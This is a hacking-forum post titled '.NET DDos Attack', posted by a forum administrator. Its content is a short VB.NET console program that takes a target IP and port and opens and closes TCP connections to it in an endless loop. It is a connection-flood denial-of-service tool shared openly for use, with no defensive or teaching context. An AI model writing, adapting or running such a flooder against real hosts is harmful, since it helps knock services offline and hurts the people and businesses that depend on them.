• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

.NET DDos Attack

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
32
Reaction score
45,552
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
Code:
Imports System.Net
Imports System.Net.Sockets
Module Module1

    Sub Main()
        Console.ForegroundColor = ConsoleColor.Blue
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine("IP:")
        Dim ip As String = Console.ReadLine
        Console.WriteLine("PORT:")
        Dim port As Integer = Console.ReadLine
        Dim x As Integer
        Do
            Try
                Dim iep As IPEndPoint
                iep = New IPEndPoint(IPAddress.Parse(ip), Convert.ToInt32(port)) 'target
                Dim s As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                s.Connect(iep)
                s.Close()
                x += 1

                Console.WriteLine("Packages Sent: " & x)
            Catch ex As Exception
                Console.ForegroundColor = ConsoleColor.Red
                Console.WriteLine("Packages Sent: " & x)
            End Try
        Loop
    End Sub
End Module
 
Status
Not open for further replies.
Back
Top